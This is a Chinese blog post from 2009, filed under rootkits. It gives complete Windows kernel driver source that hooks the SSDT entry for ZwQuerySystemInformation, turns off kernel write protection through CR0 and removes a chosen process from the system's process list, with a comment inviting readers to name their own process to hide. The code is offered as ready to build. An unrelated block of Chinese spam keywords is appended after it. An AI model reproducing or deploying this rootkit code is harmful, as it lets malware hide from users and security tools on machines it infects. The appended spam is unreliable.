• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            S.l.e!ep.¢%

            像打了激速一樣,以四倍的速度運轉,開心的工作
            簡單、開放、平等的公司文化;尊重個性、自由與個人價值;
            posts - 1098, comments - 335, trackbacks - 0, articles - 1
              C++博客 :: 首頁 :: 新隨筆 :: 聯系 :: 聚合  :: 管理

            HOOK SSDT實現進程隱藏

            Posted on 2009-10-24 21:01 S.l.e!ep.¢% 閱讀(865) 評論(0)  編輯 收藏 引用 所屬分類: RootKit

            HOOK SSDT實現進程隱藏(代碼)

            1. #include "Driver.h"


            2. #pragma??pack(1)
            3. typedef struct _SSDT_TABLE
            4. {
            5. ??PVOID? ?ServiceTableBase;
            6. ??PULONG??ServiceCounterTableBase;
            7. ??ULONG? ?NumberOfService;
            8. ??ULONG? ?ParamTableBase;
            9. }SSDT_TABLE,* PSSDT_TABLE;
            10. #pragma pack()

            11. struct _SYSTEM_THREADS
            12. {
            13. ??LARGE_INTEGER? ?? ?? ???KernelTime;
            14. ??LARGE_INTEGER? ?? ?? ???UserTime;
            15. ??LARGE_INTEGER? ?? ?? ???CreateTime;
            16. ??ULONG? ?? ?? ?? ?? ?? ?? ?? ?? ?WaitTime;
            17. ??PVOID? ?? ?? ?? ?? ?? ?? ?? ?? ?StartAddress;
            18. ??CLIENT_ID? ?? ?? ?? ?? ?? ?? ???ClientIs;
            19. ??KPRIORITY? ?? ?? ?? ?? ?? ?? ???Priority;
            20. ??KPRIORITY? ?? ?? ?? ?? ?? ?? ???BasePriority;
            21. ??ULONG? ?? ?? ?? ?? ?? ?? ?? ?? ?ContextSwitchCount;
            22. ??ULONG? ?? ?? ?? ?? ?? ?? ?? ?? ?ThreadState;
            23. ??KWAIT_REASON? ?? ?? ?? ?WaitReason;
            24. };

            25. //===================================================
            26. struct _SYSTEM_PROCESSES
            27. {
            28. ??ULONG? ?? ?? ?? ?? ?? ?? ?? ?? ?NextEntryDelta;
            29. ??ULONG? ?? ?? ?? ?? ?? ?? ?? ?? ?ThreadCount;
            30. ??ULONG? ?? ?? ?? ?? ?? ?? ?? ?? ?Reserved[6];
            31. ??LARGE_INTEGER? ?? ?? ???CreateTime;
            32. ??LARGE_INTEGER? ?? ?? ???UserTime;
            33. ??LARGE_INTEGER? ?? ?? ???KernelTime;
            34. ??UNICODE_STRING? ?? ?? ? ProcessName;
            35. ??KPRIORITY? ?? ?? ?? ?? ?? ?? ???BasePriority;
            36. ??ULONG? ?? ?? ?? ?? ?? ?? ?? ?? ?ProcessId;
            37. ??ULONG? ?? ?? ?? ?? ?? ?? ?? ?? ?InheritedFromProcessId;
            38. ??ULONG? ?? ?? ?? ?? ?? ?? ?? ?? ?HandleCount;
            39. ??ULONG? ?? ?? ?? ?? ?? ?? ?? ?? ?Reserved2[2];
            40. ??VM_COUNTERS? ?? ?? ?? ?? ?? ?? ?VmCounters;
            41. ??IO_COUNTERS? ?? ?? ?? ?? ?? ?? ?IoCounters; //windows 2000 only
            42. ??struct _SYSTEM_THREADS? ?? ?? ? Threads[1];
            43. };

            44. struct _SYSTEM_PROCESSOR_TIMES
            45. {
            46. ? ?LARGE_INTEGER? ?? ?? ? IdleTime;
            47. ? ?LARGE_INTEGER? ?? ?? ? KernelTime;
            48. ? ?LARGE_INTEGER? ?? ?? ? UserTime;
            49. ? ?LARGE_INTEGER? ?? ?? ? DpcTime;
            50. ? ?LARGE_INTEGER? ?? ?? ? InterruptTime;
            51. ? ?ULONG? ?? ?? ?? ???InterruptCount;
            52. };


            53. //======================================================

            54. typedef NTSTATUS (__stdcall *ZWQUERYSYSTEMINFORMATION)(
            55. ? ?IN ULONG SystemInformationClass,
            56. ? ?IN PVOID SystemInformation,
            57. ? ?IN ULONG SystemInformationLength,
            58. ? ?OUT PULONG ReturnLength);



            59. NTSTATUS MyZwQuerySystemInformation(
            60. ? ?IN ULONG SystemInformationClass,
            61. ? ?IN PVOID SystemInformation,
            62. ? ?IN ULONG SystemInformationLength,
            63. ? ?OUT PULONG ReturnLength);



            64. //定義全局變量
            65. extern "C" extern PSSDT_TABLE??KeServiceDescriptorTable;
            66. ULONG??OldAddress;
            67. ZWQUERYSYSTEMINFORMATION? ?? ???OldZwQuerySystemInformation;
            68. PVOID Base;

            69. //函數申明
            70. VOID DisplayItsProcessName()

            71. {
            72. ? ? ? ? PEPROCESS Peprocess = PsGetCurrentProcess();
            73. ? ? ? ? PTSTR ProcessName = (PTSTR)((ULONG)Peprocess+0x174);
            74. ? ? ? ? KdPrint(("The Process :%s\n",ProcessName));
            75. }


            76. void UnHook();


            77. VOID Unload (IN PDRIVER_OBJECT pDriverObject)
            78. {

            79. ? ? ? ? KdPrint(("Enter DriverUnload\n"));
            80. ? ? ? ? UnHook();? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ???// mark
            81. }


            82. NTSTATUS MyZwQuerySystemInformation(
            83. ? ???IN ULONG SystemInformationClass,
            84. ? ???IN PVOID SystemInformation,
            85. ? ???IN ULONG SystemInformationLength,
            86. ? ???OUT PULONG ReturnLength) //定義自己的Hook函數
            87. {
            88. ? ?NTSTATUS rc;

            89. ? ?UNICODE_STRING process_name;
            90. ? ?RtlInitUnicodeString(&process_name, L"taskmgr.exe");//改成自己要隱藏進程

            91. ? ?rc = (OldZwQuerySystemInformation) (
            92. ? ???SystemInformationClass,
            93. ? ???SystemInformation,
            94. ? ???SystemInformationLength,
            95. ? ???ReturnLength);
            96. ??
            97. ? ?if(NT_SUCCESS(rc))
            98. ? ?{
            99. ? ???if(5 == SystemInformationClass)
            100. ? ???{
            101. ? ?? ? struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
            102. ? ?? ? struct _SYSTEM_PROCESSES *prev = NULL;
            103. ? ?? ? if(curr->NextEntryDelta)
            104. ? ?? ? ? ? ? ???curr = (_SYSTEM_PROCESSES *)((ULONG)curr + curr->NextEntryDelta);

            105. ? ?? ? while(curr)
            106. ? ?? ? {
            107. ? ?? ???
            108. ? ?? ?? ?? ?? ?? ?? ?? ?? ?? ???if (RtlEqualUnicodeString(&process_name, &curr->ProcessName, 1))

            109. ? ?? ?? ?{
            110. ? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ? KdPrint(("hide process'name taskmgr.exe"));


            111. ? ?? ?? ???if(prev)
            112. ? ?? ?? ???{
            113. ? ?? ?? ?? ? if(curr->NextEntryDelta)
            114. ? ?? ?? ?? ? {
            115. ? ?? ?? ?? ?? ?prev->NextEntryDelta += curr->NextEntryDelta;
            116. ? ?? ?? ?? ? }
            117. ? ?? ?? ?? ? else
            118. ? ?? ?? ?? ? {
            119. ? ?? ?? ?? ?? ?prev->NextEntryDelta = 0;
            120. ? ?? ?? ?? ? }
            121. ? ?? ?? ???}
            122. ? ?? ?? ???else
            123. ? ?? ?? ???{
            124. ? ?? ?? ?? ? if(curr->NextEntryDelta)
            125. ? ?? ?? ?? ? {
            126. ? ?? ?? ?? ?? ?SystemInformation =(PVOID)((ULONG)SystemInformation + curr->NextEntryDelta);
            127. ? ?? ?? ?? ? }
            128. ? ?? ?? ?? ? else
            129. ? ?? ?? ?? ? {
            130. ? ?? ?? ?? ?? ?SystemInformation = NULL;
            131. ? ?? ?? ?? ? }
            132. ? ?? ?? ???}

            133. ? ?? ?? ???if(curr->NextEntryDelta)
            134. ? ?? ?? ???? ? ? ? ? ? ? ? curr = (_SYSTEM_PROCESSES *)((ULONG)curr + curr->NextEntryDelta);
            135. ? ?? ?? ???else
            136. ? ?? ?? ???{
            137. ? ?? ?? ?? ? curr = NULL;
            138. ? ?? ?? ?? ? break;
            139. ? ?? ?? ???}
            140. ? ?? ?? ?}

            141. ? ?? ?? ?if(curr != NULL)
            142. ? ?? ?? ?{
            143. ? ?? ?? ???prev = curr;
            144. ? ?? ?? ???if(curr->NextEntryDelta)
            145. ? ?? ?? ???? ? ? ? ? ? ? ? curr = (_SYSTEM_PROCESSES *)((ULONG)curr + curr->NextEntryDelta);
            146. ? ?? ?? ???else curr = NULL;
            147. ? ?? ?? ?}

            148. ? ?? ? }
            149. ? ???}
            150. ? ?}
            151. KdPrint(("HookZwQuerySystemInformation is Succeessfully.... \n"));
            152. DisplayItsProcessName();

            153. return rc;

            154. }


            155. VOID Hook()
            156. {
            157. ? ? ? ? DbgPrint("Entry Hook()\n");
            158. ? ? ? ? OldAddress =(ULONG)KeServiceDescriptorTable->ServiceTableBase + 4*0xAd;//用windbg反匯編查到zwquerysysteminformationde
            159. ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?//的ID號是0xADh
            160. ? ? ? ? DbgPrint("KeServiceDescriptorTable->ServiceTableBase is :0x%0x\n",KeServiceDescriptorTable->ServiceTableBase);
            161. ? ? ? ? //保存原來函數的地址
            162. ? ? ? ? OldZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION) *(ULONG *)OldAddress;
            163. ??DbgPrint("OldZwQuerySystemInformation is :0x%0x\n", OldZwQuerySystemInformation);
            164. ??DbgPrint("MyZwQuerySystemInformation is :0x%0x\n", MyZwQuerySystemInformation);

            165. ? ?//取消內存寫保護
            166. ??_asm
            167. ??{
            168. ? ? cli
            169. ? ?
            170. ? ?? ?mov??eax,cr0??
            171. ? ?? ?and??eax,not 10000h
            172. ? ?? ?mov??cr0,eax
            173. ? ?? ?
            174. ??}
            175. ??

            176. ? ? ? ?
            177. ? ? ? ? *(ULONG*)OldAddress =(ULONG) MyZwQuerySystemInformation;? ?? ? //mark? ?MyZwQuerySystemInformation;
            178. ??
            179. ??//還原內存寫保護
            180. ??_asm
            181. ??{??
            182. ??
            183. ? ? mov??eax,cr0
            184. ? ?? ?or? ?eax,10000h
            185. ? ?? ?mov??cr0,eax
            186. ? ?? ?sti
            187. ??
            188. ??
            189. ??}
            190. }

            191. void UnHook()
            192. {
            193. ??ULONG??Address;
            194. ??
            195. ??Address =(ULONG) KeServiceDescriptorTable->ServiceTableBase +0xAD*4;
            196. ??
            197. ??__asm{
            198. ? ? cli
            199. ? ?? ?mov??eax,cr0
            200. ? ?? ?and??eax,not 10000h
            201. ? ?? ?mov??cr0,eax
            202. ??}
            203. ? ?
            204. ??*(ULONG*)Address =(ULONG) OldZwQuerySystemInformation;
            205. ??
            206. ??__asm{??
            207. ? ? mov??eax,cr0
            208. ? ?? ?or? ?eax,10000h
            209. ? ?? ?mov??cr0,eax
            210. ? ?? ?sti
            211. ??}
            212. ??
            213. ??DbgPrint("Unhook leave!\n");
            214. ??
            215. }
            216. ??



            217. //========================驅動入口函數
            218. extern "C" NTSTATUS DriverEntry(IN PDRIVER_OBJECT??pDriverObject, IN PUNICODE_STRING??pRegistryPath)
            219. {
            220. ??DbgPrint("Entry Hook Function!\n");

            221. ? ? ? ? pDriverObject->DriverUnload = Unload;
            222. ? ? ? ?
            223. ? ? ? ? Hook();
            224. ??
            225. ??DbgPrint("Leave DriverEntry!\n");
            226. ??
            227. ? ? ? ? return STATUS_SUCCESS;
            228. ??
            229. }
            復制代碼
            XPSP3 WDK 順利通過~
            99久久中文字幕| 无码八A片人妻少妇久久| 97久久久精品综合88久久| 91精品国产综合久久久久久| 91精品国产91久久久久福利| 国产亚洲精午夜久久久久久| 久久久精品视频免费观看| 久久99热这里只有精品国产| 久久精品人成免费| 久久夜色撩人精品国产小说| 久久综合狠狠综合久久| 久久国产视频99电影| 一本久久a久久精品vr综合| 久久综合中文字幕| 中文字幕久久亚洲一区| 97精品久久天干天天天按摩| 久久久久久国产精品无码下载 | 情人伊人久久综合亚洲| 欧美激情精品久久久久久久| 久久夜色精品国产噜噜噜亚洲AV | 2021国内久久精品| 99久久婷婷国产一区二区| 亚洲欧美日韩中文久久 | 久久er99热精品一区二区| 思思久久好好热精品国产| 久久精品99无色码中文字幕| 国产精品一区二区久久不卡| 国产99久久久国产精品小说| 久久久久亚洲AV综合波多野结衣 | 久久激情亚洲精品无码?V| 久久综合九色综合精品| 久久99精品久久久久子伦| 久久久久国产精品人妻| 久久综合色之久久综合| 国产日韩久久免费影院| 2020最新久久久视精品爱| 国产99久久精品一区二区| 久久91精品久久91综合| 久久亚洲美女精品国产精品| WWW婷婷AV久久久影片| 久久亚洲国产中v天仙www|